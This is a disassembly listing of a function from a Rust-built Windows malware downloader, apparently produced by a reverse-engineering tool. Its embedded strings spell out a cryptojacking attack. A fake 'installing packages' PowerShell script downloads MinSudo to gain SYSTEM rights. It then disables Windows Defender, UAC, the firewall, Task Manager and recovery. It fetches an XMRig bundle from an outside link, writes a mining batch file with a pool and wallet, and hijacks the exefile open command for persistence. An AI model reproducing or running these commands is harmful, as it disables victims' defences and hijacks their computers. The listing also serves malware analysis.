Function at 0x140006f20
Capabilities:
Check mutex on windows
Create http request
Disable automatic windows recovery features
Read data from internet
Receive data

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x16b8
call fcn.1400b7430
sub rsp, rax
lea rbp, [rsp + 0x80]
vmovaps xmmword [rbp + 0x1620], xmm6
mov qword [rbp + 0x1618], 0xfffffffffffffffe
lea rdx, str.MidnightH
lea rsi, [rbp + 0x1270]
mov r8d, 8
mov rcx, rsi
call fcn.140048110
cmp qword [rbp + 0x1270], 0
jne 0x140008039
mov r8, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x1280]
mov qword [rbp + 0x1608], rax
xor ecx, ecx
mov edx, 1
mov qword [rbp + 0x1610], r8
call sub.KERNEL32.dll_CreateMutexA
mov rdi, rax
test rax, rax
je 0x140006fca
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
jne 0x140006fee
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140006ff0
mov rcx, qword [rbp + 0x1610]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x1608]
test rdx, rdx
je 0x140007052
lea rdi, str.Failed_to_create_or_open_mutex.RustWinapiDownloader
mov ebx, 0x1f
jmp 0x140007008
xor ebx, ebx
mov rcx, qword [rbp + 0x1610]
mov byte [rcx], 0
xor edi, edi
mov rdx, qword [rbp + 0x1608]
test rdx, rdx
je 0x140007013
mov r8d, 1
call fcn.140011ab0
test rbx, rbx
je 0x140007052
test rdi, rdi
jne 0x140007052
lea rax, str.Another_instance_is_already_running._Exiting._n
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rax, str.description___is_deprecated__use_Display0
mov qword [rbp - 0x40], rax
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp - 0x38], xmm0
lea rcx, [rbp - 0x50]
call fcn.14002d750
jmp 0x140007ebc
call fcn.140011af0
mov qword [rbp + 0x1588], rax
lea rax, [rbp + 0x1588]
mov qword [rbp + 0x1270], rax
lea rax, [fcn.14004e190]
mov qword [rbp + 0x1278], rax
lea rax, str.Number_of_available_CPU_cores:__n
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 1
lea rcx, [rbp - 0x50]
call fcn.14002d640
cmp qword [rbp + 0x1588], 2
jb 0x140008076
call fcn.140010c50
call fcn.140005920
call fcn.140004610
call fcn.140002690
call fcn.1400034b0
call fcn.1400020e0
call fcn.140003a40
call fcn.140004a60
test al, al
jne 0x1400080a6
call fcn.140005330
test al, al
jne 0x1400080a6
lea rdx, [0x1400be0be]
lea rcx, [rbp - 0x50]
mov r8d, 0xa
call fcn.140038980
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x1330], rax
vmovups ymm0, ymmword [rbp + 0x50]
vmovups ymmword [rbp + 0x1310], ymm0
vmovups ymm0, ymmword [rbp + 0x30]
vmovups ymmword [rbp + 0x12f0], ymm0
vmovups ymm0, ymmword [rbp - 0x50]
vmovups ymm1, ymmword [rbp - 0x30]
vmovups ymm2, ymmword [rbp - 0x10]
vmovups ymm3, ymmword [rbp + 0x10]
vmovups ymmword [rbp + 0x12d0], ymm3
vmovups ymmword [rbp + 0x12b0], ymm2
vmovups ymmword [rbp + 0x1290], ymm1
vmovups ymmword [rbp + 0x1270], ymm0
lea rdx, [0x1400be0e6]
lea rcx, [rbp + 0x1270]
mov r8d, 0xa
vzeroupper
call fcn.140038a70
lea rdx, [0x1400be0c8]
lea rcx, [rbp + 0x1270]
mov r8d, 0x10
call fcn.140038a70
lea rdx, [0x1400be0d8]
lea rcx, [rbp + 0x1270]
mov r8d, 6
call fcn.140038a70
lea rdx, [0x1400be0de]
lea rcx, [rbp + 0x1270]
mov r8d, 8
call fcn.140038a70
lea rdx, str._n________Add_Type__AssemblyName_PresentationFramework_n_________System.Windows.MessageBox_::Show_Please_Wait_While_we_install_necessary_packages_for_You_._Window_will_be_closed_after_Installation_____n________Write_Host__Installing_Necessary_Packages.....Please_Wait.....___ForegroundColor_Green_n_____________Download_file_n_destination___C:Nana.zip__nbitsadmin__transfer_Explorers__download__priority_FOREGROUND_http:__github.com_M2Team_NanaRun_releases_download_1.0.18.0_NanaRun_1.0_Preview2_1.0.18.0.zip_C:Nana.zip_n_Extract_archive_nExpand_Archive__Path__destination__DestinationPath__C:__ncd_C:x64_nset_pop_systemroot__n.Minsudo.exe___system___privileged___nologo_icacls___pop_System32_smartscreen.exe___inheritance:r__remove_S_1_5_32_544_S_1_5_11_S_1_5_32_545_S_1_5_18_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__ConsentPromptBehaviorAdmin___t_REG_DWORD__d__0___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderUX_Configuration___v__Notification_Suppress___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableTaskMgr___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableCMD___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableRegistryTools___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer___v__NoRun___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_sc_stop_windefend__n.Minsudo.exe___system___privileged___nologo_sc_delete_windefend__n.Minsudo.exe___system___privileged___nologo_Add_MpPreference__ExclusionExtension__.ps1__n.Minsudo.exe___system___privileged___nologo_powershell.exe_bcdedit__set_default_recoveryenabled_No_n.Minsudo.exe___system___privileged___nologo_powershell.exe_bcdedit__set_default_bootstatuspolicy_ignoreallfailures_n.Minsudo.exe___system___privileged___nologo_Add_MpPreference__ExclusionPath___USERPROFILE_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup__n.Minsudo.exe___system___privileged___nologo_New_ItemProperty__Path_HKLM:SoftwareMicrosoftWindowsCurrentVersionpolicies_system__Name_EnableLUA__PropertyType_DWord__Value_0__Force_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__EnableControlledFolderAccess_Disabled_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__PUAProtection_disable_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__HighThreatDefaultAction_6__Force_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__ModerateThreatDefaultAction_6_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__LowThreatDefaultAction_6_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__SevereThreatDefaultAction_6_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__ScanScheduleDay_8_n.Minsudo.exe___system___privileged___nologo_netsh_advfirewall_set_allprofiles_state_off_nxcopy_.Minsudo.exe___USERPROFILE_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup__ncd___USERPROFILE_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup__n.Minsudo.exe___system___privileged___nologo_reg_delete__HKLMSoftwarePoliciesMicrosoftWindows_Defender___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiSpyware___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiVirus___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwarePoliciesMicrosoft_
lea rcx, [rbp + 0x1270]
mov r8d, 0x1ece
call fcn.140038a70
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x1270]
call fcn.140030d40
cmp dword [rbp - 0x50], 2
je 0x1400080b2
vmovups ymm0, ymmword [rbp - 0x50]
vmovups ymm1, ymmword [rbp - 0x30]
vmovups ymmword [rbp + 0xfd0], ymm1
vmovups ymmword [rbp + 0xfb0], ymm0
lea rcx, [rbp + 0xfb0]
vzeroupper
call fcn.1400063c0
lea rcx, [rbp + 0x1270]
call fcn.140006500
lea rdx, [0x1400be437]
lea rcx, [rbp + 0x1270]
mov r8d, 0x14
call fcn.140048110
cmp qword [rbp + 0x1270], 0
jne 0x1400080ed
mov rcx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x1280]
mov qword [rbp + 0x1598], rax
mov dword [rsp + 0x20], 0
mov qword [rbp + 0x1590], rcx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.WININET.dll_InternetOpenA
mov rdi, rax
lea rdx, [0x1400be157]
mov r8d, 0x1d
mov rcx, rsi
call fcn.140048110
cmp qword [rbp + 0x1270], 0
jne 0x14000812a
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x1280]
mov qword [rbp + 0x15a8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rbp + 0x1548], rdi
mov rcx, rdi
mov qword [rbp + 0x15a0], rdx
xor r8d, r8d
xor r9d, r9d
call sub.WININET.dll_InternetOpenUrlA
mov rbx, rax
test rax, rax
je 0x140008167
lea rsi, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x15b0], 0
mov dword [rbp + 0x1270], 0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x1278], xmm0
mov dword [rbp + 0x1288], 7
mov qword [rbp + 0x128c], 0
mov word [rbp + 0x1294], 0
mov byte [rbp + 0x1291], 1
mov byte [rbp + 0x1294], 1
mov byte [rbp + 0x1293], 1
lea rdx, str.C:WindowsHelpdata.zipC:WindowsHelp2minershttps:__bit.ly_2miners_githubSuccessfully_extracted_the_ZIP_file._n
lea rcx, [rbp + 0x1270]
mov r8d, 0x18
call fcn.14002b9c0
test rax, rax
jne 0x1400081ca
mov qword [rbp + 0x15d0], rdx
lea rdi, [rbp + 0x1270]
lea r12, [rbp + 0x15d0]
lea r15, [0x1400be5ac]
nop word [rax + rax]
mov rcx, rbx
mov rdx, rsi
mov r8d, 0x1000
lea r9, [rbp + 0x15b0]
call sub.WININET.dll_InternetReadFile
test eax, eax
je 0x140007fa4
mov r13d, dword [rbp + 0x15b0]
test r13, r13
je 0x1400074e9
cmp r13d, 0x1000
ja 0x140008020
mov r14, rsi
jmp 0x140007415
test r13, r13
je 0x1400073b0
mov rcx, rdi
mov rdx, r12
mov r8, r14
mov r9, r13
call fcn.14002b920
cmp qword [rbp + 0x1270], 0
je case.default.0x140007443
mov rax, qword [rbp + 0x1278]
mov ecx, eax
and ecx, 3
movsxd rcx, dword [r15 + rcx*4]
add rcx, r15
jmp rcx
cmp byte [rax + 0x10], 0x23
je 0x140007410
jmp 0x140007f59
mov rcx, qword [rbp + 0x1278]
test rcx, rcx
je 0x140007f52
mov rax, r13
sub rax, rcx
jb 0x140007f90
add r14, rcx
mov r13, rax
jmp 0x140007410
mov rcx, rbx
call sub.WININET.dll_InternetCloseHandle
mov rcx, qword [rbp + 0x1548]
call sub.WININET.dll_InternetCloseHandle
mov rcx, qword [rbp + 0x15d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x15a0]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x15a8]
test rdx, rdx
je 0x14000752b
mov r8d, 1
call fcn.140011ab0
mov rcx, qword [rbp + 0x1590]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x1598]
test rdx, rdx
je 0x14000754c
mov r8d, 1
call fcn.140011ab0
mov dword [rbp - 0x50], 0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x38], 7
mov qword [rbp - 0x34], 0
mov word [rbp - 0x2c], 0
mov byte [rbp - 0x30], 1
lea rdx, str.C:WindowsHelpdata.zipC:WindowsHelp2minershttps:__bit.ly_2miners_githubSuccessfully_extracted_the_ZIP_file._n
lea rcx, [rbp - 0x50]
mov r8d, 0x18
call fcn.14002b9c0
mov rsi, rdx
test rax, rax
je 0x1400075c8
mov qword [rbp - 0x50], rsi
movzx eax, byte [0x1400e8f01]
mov ecx, 8
mov edx, 8
call fcn.140011aa0
test rax, rax
je 0x1400082a1
mov rbx, rax
mov qword [rax], rsi
lea rsi, fcn.140001030
jmp 0x140007cb4
lea rcx, [rbp - 0x50]
mov rdx, rsi
call fcn.1400096e0
mov rsi, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x40]
cmp rsi, 4
jne 0x1400079ea
mov qword [rbp + 0x15f8], rax
mov qword [rbp + 0x1600], rcx
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x15f0], rax
xor r12d, r12d
lea r15, [rbp + 0x1270]
vxorps xmm6, xmm6, xmm6
nop word cs:[rax + rax]
cmp r12, qword [rbp + 0x15f0]
jae 0x140007a35
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x15f8]
mov r8, r12
xor r9d, r9d
call fcn.140009470
mov rsi, qword [rbp - 0x50]
lea rax, [rbp - 0x48]
vmovups xmm0, xmmword [rax]
vmovaps xmmword [rbp + 0x15d0], xmm0
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x15e0], rax
cmp rsi, 7
je 0x140007a64
mov r8d, 0x2b8
lea rbx, [rbp + 0xfb0]
mov rcx, rbx
lea rdx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memcpy
cmp esi, 6
je 0x140008274
mov rax, qword [rbp + 0x15e0]
mov qword [rbp + 0x15c0], rax
vmovaps xmm0, xmmword [rbp + 0x15d0]
vmovaps xmmword [rbp + 0x15b0], xmm0
mov r8d, 0x2b8
lea rcx, [rbp + 0x1290]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x15c0]
mov qword [rbp + 0x1580], rax
vmovaps xmm0, xmmword [rbp + 0x15b0]
vmovaps xmmword [rbp + 0x1570], xmm0
lea rcx, [rbp + 0x1278]
mov qword [rcx + 0x10], rax
vmovups xmmword [rcx], xmm0
mov qword [rbp + 0x1270], rsi
mov rcx, r15
call fcn.140013130
mov rsi, rax
mov rbx, rdx
test rdx, rdx
je 0x140007730
test rbx, rbx
js 0x1400082c4
movzx eax, byte [0x1400e8f01]
mov edx, 1
mov rcx, rbx
call fcn.140011aa0
test rax, rax
jne 0x140007735
jmp 0x1400082b5
mov eax, 1
mov qword [rbp + 0x1608], rax
mov rcx, rax
mov rdx, rsi
mov qword [rbp + 0x1610], rbx
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r15
call fcn.140006220
lea rax, [0x1400be150]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 7
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x15f8]
mov r8, qword [rbp + 0x1608]
mov r9, qword [rbp + 0x1610]
call fcn.140009310
mov rax, qword [rbp - 0x50]
cmp rax, 6
je 0x140007ad0
cmp eax, 7
je 0x140007ae1
mov r8d, 0x2d8
mov rcx, r15
lea rdx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r15
call fcn.140013130
mov qword [rsp + 0x20], rdx
mov r8d, 0x10
lea rcx, [rbp + 0x15d0]
lea rdx, [0x1400be140]
mov r9, rax
call fcn.140030bd0
mov rcx, r15
call fcn.140013160
test al, al
je 0x140007820
mov byte [rbp - 0x50], 1
mov rsi, qword [rbp + 0x15d0]
mov r8, qword [rbp + 0x15e0]
lea rcx, [rbp - 0x50]
mov rdx, rsi
call fcn.14002b9e0
mov r14, rax
test rax, rax
je 0x14000799e
jmp 0x140007b3b
mov rsi, qword [rbp + 0x15d0]
mov r14, qword [rbp + 0x15e0]
mov rcx, rsi
mov rdx, r14
call fcn.140030480
mov r13, rax
test rax, rax
je 0x1400078d2
mov rbx, rdx
lea rcx, [rbp - 0x50]
mov rdx, r13
mov r8, rbx
call fcn.140035560
cmp dword [rbp - 0x50], 2
jne 0x140007875
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xfb8], rax
mov qword [rbp + 0xfb0], 2
jmp 0x1400078a4
vmovups ymm0, ymmword [rbp - 0x50]
vmovups ymm1, ymmword [rbp - 0x30]
vmovups ymmword [rbp + 0xfb0], ymm0
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0xff0], rax
vmovups ymmword [rbp + 0xfd0], ymm1
cmp qword [rbp + 0xfb0], 2
jne 0x1400078d2
lea rcx, [rbp + 0xfb8]
vzeroupper
call fcn.140001030
mov byte [rbp - 0x50], 1
lea rcx, [rbp - 0x50]
mov rdx, r13
mov r8, rbx
call fcn.14002b9e0
mov r13, rax
test rax, rax
jne 0x140007f14
mov dword [rbp - 0x50], 0
lea rax, [rbp - 0x48]
vmovups xmmword [rax], xmm6
mov dword [rbp - 0x38], 7
mov word [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov byte [rbp - 0x2f], 1
mov word [rbp - 0x2d], 0x101
lea rcx, [rbp - 0x50]
mov rdx, rsi
mov r8, r14
vzeroupper
call fcn.14002b9c0
mov r14, rdx
test rax, rax
jne 0x140007b6e
mov qword [rbp + 0x15b0], r14
mov qword [rbp - 0x50], 1
lea rax, [rbp - 0x48]
vmovups xmmword [rax], xmm6
lea rcx, [rbp + 0xfb0]
mov rdx, r15
lea r8, [rbp - 0x50]
xor r9d, r9d
call fcn.14000dc30
cmp qword [rbp + 0xfb0], 0
jne 0x140007bac
mov rdx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x15b0]
call fcn.140010530
mov r14, rax
test rax, rax
jne 0x140007be9
mov rdx, qword [rbp - 0x48]
test rdx, rdx
je 0x140007991
mov rcx, qword [rbp - 0x50]
mov r8d, 1
call fcn.140011ab0
mov rcx, qword [rbp + 0x15b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x15d8]
test rdx, rdx
je 0x1400079b8
mov r8d, 1
mov rcx, rsi
call fcn.140011ab0
mov rcx, r15
call fcn.140006220
inc r12
mov rdx, qword [rbp + 0x1610]
test rdx, rdx
je 0x140007620
mov r8d, 1
mov rcx, qword [rbp + 0x1608]
call fcn.140011ab0
jmp 0x140007620
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rcx
movzx eax, byte [0x1400e8f01]
mov ecx, 0x18
mov edx, 8
call fcn.140011aa0
test rax, rax
je 0x1400082cb
mov rbx, rax
mov rax, qword [rbp - 0x40]
mov qword [rbx + 0x10], rax
vmovups xmm0, xmmword [rbp - 0x50]
vmovups xmmword [rbx], xmm0
lea rsi, [0x1400bc0f0]
jmp 0x140007cb4
mov rcx, qword [rbp + 0x1600]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x15f8]
lock dec qword [rax]
jne 0x140007ed8
lea rcx, [rbp + 0x15f8]
call fcn.1400101b0
jmp 0x140007ed8
mov rax, qword [rbp + 0x15e0]
vmovaps xmm0, xmmword [rbp + 0x15d0]
vmovaps xmmword [rbp + 0x1570], xmm0
mov qword [rbp + 0x1580], rax
mov qword [rbp - 0x40], rax
vmovaps xmmword [rbp - 0x50], xmm0
movzx eax, byte [0x1400e8f01]
mov ecx, 0x18
mov edx, 8
call fcn.140011aa0
test rax, rax
je 0x1400082e3
mov rbx, rax
mov rax, qword [rbp + 0x1580]
mov qword [rbx + 0x10], rax
vmovaps xmm0, xmmword [rbp + 0x1570]
vmovups xmmword [rbx], xmm0
lea rsi, [0x1400bc0f0]
jmp 0x140007c85
mov ebx, 1
lea rsi, [0x1400bc078]
jmp 0x140007c67
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x1560], rax
vmovups xmm0, xmmword [rbp - 0x48]
vmovaps xmmword [rbp + 0x1550], xmm0
movzx eax, byte [0x1400e8f01]
mov ecx, 0x18
mov edx, 8
call fcn.140011aa0
test rax, rax
je 0x1400082f4
mov rbx, rax
lea rcx, [rbp - 0x48]
mov rax, qword [rcx + 0x10]
mov qword [rbx + 0x10], rax
vmovups xmm0, xmmword [rcx]
vmovups xmmword [rbx], xmm0
lea rsi, [0x1400bc0f0]
jmp 0x140007c67
mov qword [rbp - 0x50], r14
movzx eax, byte [0x1400e8f01]
mov ecx, 8
mov edx, 8
call fcn.140011aa0
test rax, rax
jne 0x140007b91
mov ecx, 8
mov edx, 8
call fcn.1400b9dc0
jmp 0x140008336
mov qword [rbp - 0x50], r14
movzx eax, byte [0x1400e8f01]
mov ecx, 8
mov edx, 8
call fcn.140011aa0
test rax, rax
je 0x140008305
mov rbx, rax
mov qword [rax], r14
mov rdx, qword [rbp + 0x15d8]
test rdx, rdx
jne 0x140007c46
jmp 0x140007c54
mov r14, qword [rbp + 0xfb8]
mov qword [rbp + 0xfb0], r14
movzx eax, byte [0x1400e8f01]
mov ecx, 8
mov edx, 8
call fcn.140011aa0
test rax, rax
jne 0x140007c0f
mov ecx, 8
mov edx, 8
call fcn.1400b9dc0
jmp 0x140008336
mov qword [rbp + 0xfb0], r14
movzx eax, byte [0x1400e8f01]
mov ecx, 8
mov edx, 8
call fcn.140011aa0
test rax, rax
je 0x140008316
mov rbx, rax
mov qword [rax], r14
mov rdx, qword [rbp - 0x48]
test rdx, rdx
je 0x140007c2d
mov rcx, qword [rbp - 0x50]
mov r8d, 1
call fcn.140011ab0
mov rcx, qword [rbp + 0x15b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x15d8]
test rdx, rdx
je 0x140007c54
mov r8d, 1
mov rcx, rsi
call fcn.140011ab0
lea rcx, [rbp + 0x1270]
call fcn.140006220
lea rsi, fcn.140001030
mov rdx, qword [rbp + 0x1610]
test rdx, rdx
je 0x140007c85
mov r8d, 1
mov rcx, qword [rbp + 0x1608]
call fcn.140011ab0
mov rcx, qword [rbp + 0x1600]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x15f8]
lock dec qword [rax]
jne 0x140007cab
lea rcx, [rbp + 0x15f8]
call fcn.1400101b0
test rbx, rbx
je 0x140007ed8
mov qword [rbp + 0xfb0], rbx
mov qword [rbp + 0xfb8], rsi
lea rbx, [rbp + 0xfb0]
mov qword [rbp + 0x1270], rbx
lea rax, [0x14000f600]
mov qword [rbp + 0x1278], rax
lea rax, str.Error_extracting_the_ZIP_file:
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 1
lea rcx, [rbp - 0x50]
call fcn.14002d750
mov rcx, qword [rbp + 0xfb0]
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0x1608], rcx
mov qword [rbp + 0x1610], rax
call qword [rax]
mov rax, qword [rbp + 0x1610]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140007d4c
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x1608]
call fcn.140011ab0
mov dword [rbp - 0x50], 0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x38], 7
mov qword [rbp - 0x34], 0
mov word [rbp - 0x2c], 0
mov byte [rbp - 0x2f], 1
mov byte [rbp - 0x2c], 1
mov byte [rbp - 0x2d], 1
lea rdx, str.C:WindowsHelpMoneroxmr_pool.batcd__dp0_n________xmrig.exe__o_xmr.2miners.com:4444__u_44ZhutWDU6Ej1Zi3fFG4au7Cmk6j3LGCEUPWSgFBY3EvViZFnbEa254T4CpV3KbSeHMUGUE1QrwVfJ3DAnw8kDJa9HotyKt.1__p_x_n________pause_n________Error_writing_to_the_file:
lea rcx, [rbp - 0x50]
mov r8d, 0x23
call fcn.14002b9c0
mov rsi, rdx
test rax, rax
jne 0x140007dd0
mov qword [rbp + 0x1270], rsi
lea rdx, [0x1400be213]
lea rcx, [rbp + 0x1270]
mov r8d, 0xb3
call fcn.140010530
mov rsi, rax
mov rcx, qword [rbp + 0x1270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x140007e28
mov qword [rbp + 0xfb0], rsi
mov qword [rbp + 0x1270], rbx
lea rax, case.0x14002ba6b.114
mov qword [rbp + 0x1278], rax
lea rax, [0x1400be2e8]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 1
lea rcx, [rbp - 0x50]
call fcn.14002d750
lea rcx, [rbp + 0xfb0]
call fcn.140001030
lea rcx, str.exefileC:WindowsHelpMoneroxmr_pool.bat__1Failed_to_set_shell_open_command_for_exefile
lea r8, [0x1400be30f]
mov edx, 7
mov r9d, 0x26
call fcn.140005e80
test rax, rax
jne 0x140008201
lea rdx, str.C:WindowsHelpMoneroxmr_pool.batcd__dp0_n________xmrig.exe__o_xmr.2miners.com:4444__u_44ZhutWDU6Ej1Zi3fFG4au7Cmk6j3LGCEUPWSgFBY3EvViZFnbEa254T4CpV3KbSeHMUGUE1QrwVfJ3DAnw8kDJa9HotyKt.1__p_x_n________pause_n________Error_writing_to_the_file:
lea rsi, [rbp - 0x50]
mov r8d, 0x23
mov rcx, rsi
call fcn.140038980
lea rcx, [rbp + 0x1270]
mov rdx, rsi
call fcn.140030d40
cmp dword [rbp + 0x1270], 2
je 0x140008236
vmovups ymm0, ymmword [rbp + 0x1270]
vmovups ymm1, ymmword [rbp + 0x1290]
vmovups ymmword [rbp + 0xfd0], ymm1
vmovups ymmword [rbp + 0xfb0], ymm0
lea rcx, [rbp + 0xfb0]
vzeroupper
call fcn.1400063c0
lea rcx, [rbp - 0x50]
call fcn.140006500
vmovaps xmm6, xmmword [rbp + 0x1620]
add rsp, 0x16b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, [0x1400be1a0]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rax, str.description___is_deprecated__use_Display0
mov qword [rbp - 0x40], rax
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp - 0x38], xmm0
lea rcx, [rbp - 0x50]
call fcn.14002d640
lea rbx, [rbp + 0xfb0]
jmp 0x140007d4c
mov qword [rbp - 0x50], r13
movzx eax, byte [0x1400e8f01]
mov ecx, 8
mov edx, 8
call fcn.140011aa0
test rax, rax
je 0x140008327
mov rbx, rax
mov qword [rax], r13
mov rdx, qword [rbp + 0x15d8]
test rdx, rdx
jne 0x140007c46
jmp 0x140007c54
lea rax, [0x1400befb8]
mov qword [rbp + 0x1270], rax
lea rax, [0x1400be528]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_write_to_file
lea r9, fcn.140001030
lea r8, [rbp + 0x1270]
mov edx, 0x17
call fcn.1400ba280
jmp 0x140008336
lea r8, [0x1400bf020]
mov rdx, r13
call fcn.1400ba320
jmp 0x140008336
call sub.KERNEL32.dll_GetLastError
mov dword [rbp + 0x1550], eax
lea rax, [rbp + 0x1550]
mov qword [rbp + 0xfb0], rax
lea rax, [fcn.14004df40]
mov qword [rbp + 0xfb8], rax
lea rax, str.Failed_to_read_from_the_internet._Error:
mov qword [rbp + 0x1270], rax
mov qword [rbp + 0x1278], 1
mov qword [rbp + 0x1290], 0
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x1280], rax
mov qword [rbp + 0x1288], 1
lea rdx, [0x1400be580]
lea rcx, [rbp + 0x1270]
call fcn.1400b9ea0
jmp 0x140008336
lea r8, [0x1400be4f8]
mov edx, 0x1000
mov rcx, r13
call fcn.1400ba3a0
jmp 0x140008336
vmovups ymm0, ymmword [rbp + 0x1270]
vmovups ymmword [rbp - 0x50], ymm0
lea rax, [0x1400be400]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400bbf70]
lea r9, [0x1400bbfc0]
lea r8, [rbp - 0x50]
mov edx, 0x2b
vzeroupper
call fcn.1400ba280
jmp 0x140008336
lea rax, str.Not_enough_CPU_cores_available._Exiting..._n
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rax, str.description___is_deprecated__use_Display0
mov qword [rbp - 0x40], rax
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp - 0x38], xmm0
lea rcx, [rbp - 0x50]
call fcn.14002d640
mov ecx, 1
call fcn.140030de0
ud2
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xfb0], rax
lea rax, [0x1400be110]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400be0f0]
lea r9, fcn.140001030
lea r8, [rbp + 0xfb0]
mov edx, 0x19
call fcn.1400ba280
jmp 0x140008336
vmovups ymm0, ymmword [rbp + 0x1270]
vmovups ymmword [rbp - 0x50], ymm0
lea rax, [0x1400be450]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400bbf70]
lea r9, [0x1400bbfc0]
lea r8, [rbp - 0x50]
mov edx, 0x2b
vzeroupper
call fcn.1400ba280
jmp 0x140008336
vmovups ymm0, ymmword [rbp + 0x1270]
vmovups ymmword [rbp - 0x50], ymm0
lea rax, [0x1400be468]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400bbf70]
lea r9, [0x1400bbfc0]
lea r8, [rbp - 0x50]
mov edx, 0x2b
vzeroupper
call fcn.1400ba280
jmp 0x140008336
call sub.KERNEL32.dll_GetLastError
